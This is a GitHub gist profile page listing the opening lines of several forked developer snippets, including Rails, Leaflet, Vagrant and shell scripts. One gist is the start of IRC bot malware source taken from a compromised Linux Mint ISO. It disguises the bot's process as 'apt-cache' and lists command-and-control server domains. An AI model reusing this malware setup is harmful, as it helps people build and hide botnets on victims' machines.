Skip to content

Instantly share code, notes, and snippets.

View tdegrunt's full-sized avatar

Tom de Grunt tdegrunt

View GitHub Profile
@tdegrunt
tdegrunt / features support env.rb
Created February 14, 2017 13:10 — forked from Integralist/features support env.rb
Variety of different Capybara configurations, tips and tricks
Capybara.default_wait_time = 20
Capybara.default_host = DEFAULT_HOST
Capybara.app = Capybara.app_host = DEFAULT_HOST
Capybara.configure do |config|
config.match = :prefer_exact
config.ignore_hidden_elements = false
end
Capybara.run_server = false
@tdegrunt
tdegrunt / sessions_controller.rb
Created December 9, 2016 21:12 — forked from gonzalo-bulnes/sessions_controller.rb
A SimpleTokenAuthentication-compatible JSON version of Devise::SessionsController. (UPDATE: For a discussion about this gist and a better version of it, please see https://github.com/gonzalo-bulnes/simple_token_authentication/issues/48#issuecomment-42133939)
# app/controllers/sessions_controller.rb
class SessionsController < Devise::SessionsController
# This controller provides a JSON version of the Devise::SessionsController and
# is compatible with the use of SimpleTokenAuthentication.
# See https://github.com/gonzalo-bulnes/simple_token_authentication/issues/27
def create
# Fetch params
@tdegrunt
tdegrunt / leaflet-button-control.js
Created April 1, 2016 11:40 — forked from ejh/leaflet-button-control.js
Leaflet control button example
L.Control.Button = L.Control.extend({
options: {
position: 'bottomleft'
},
initialize: function (options) {
this._button = {};
this.setButton(options);
},
@tdegrunt
tdegrunt / VagrantFile
Created February 29, 2016 10:46 — forked from c3mdigital/VagrantFile
Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :
dir = Dir.pwd
vagrant_dir = File.expand_path(File.dirname(__FILE__))
Vagrant.configure("2") do |config|
# Store the current version of Vagrant for use in conditionals when dealing
# with possible backward compatible issues.
@tdegrunt
tdegrunt / provision.sh
Created February 29, 2016 10:46 — forked from c3mdigital/provision.sh
Vagrant Provisioning Script
#!/bin/bash
#
# provision.sh
#
# This file is specified in Vagrantfile and is loaded by Vagrant as the primary
# provisioning script whenever the commands `vagrant up`, `vagrant provision`,
# or `vagrant reload` are used. It provides all of the default packages and
# configurations included with Varying Vagrant Vagrants.
# By storing the date now, we can calculate the duration of provisioning at the
@tdegrunt
tdegrunt / man.cy
Created February 22, 2016 07:10 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
<?xml version="1.0"?>
<root>
<item>
<name>F19 to F19</name>
<appendix>(F19 to Hyper (ctrl+shift+cmd+opt) + F19 Only, send escape)</appendix>
<identifier>private.f192f19_escape</identifier>
<autogen>
--KeyOverlaidModifier--
KeyCode::F19,
KeyCode::COMMAND_L,
var active = false;
function changeRefer(details) {
if (!active) return;
for (var i = 0; i < details.requestHeaders.length; ++i) {
if (details.requestHeaders[i].name === 'Referer') {
details.requestHeaders[i].value = 'http://www.google.com/';
break;
}
@tdegrunt
tdegrunt / convert.sh
Created April 8, 2015 13:52
Easily rip all dvd titles to separate files
#!/bin/bash
for i in `seq -w 1 8`;
do
HandbrakeCLI --no-dvdnav --input DVD7.iso --title $i --output ~/Desktop/BB/S7/S07E$i.mkv
done
# A class-based template for jQuery plugins in Coffeescript
#
# $('.target').myPlugin({ paramA: 'not-foo' });
# $('.target').myPlugin('myMethod', 'Hello, world');
#
# Check out Alan Hogan's original jQuery plugin template:
# https://github.com/alanhogan/Coffeescript-jQuery-Plugin-Template
#
(($, window) ->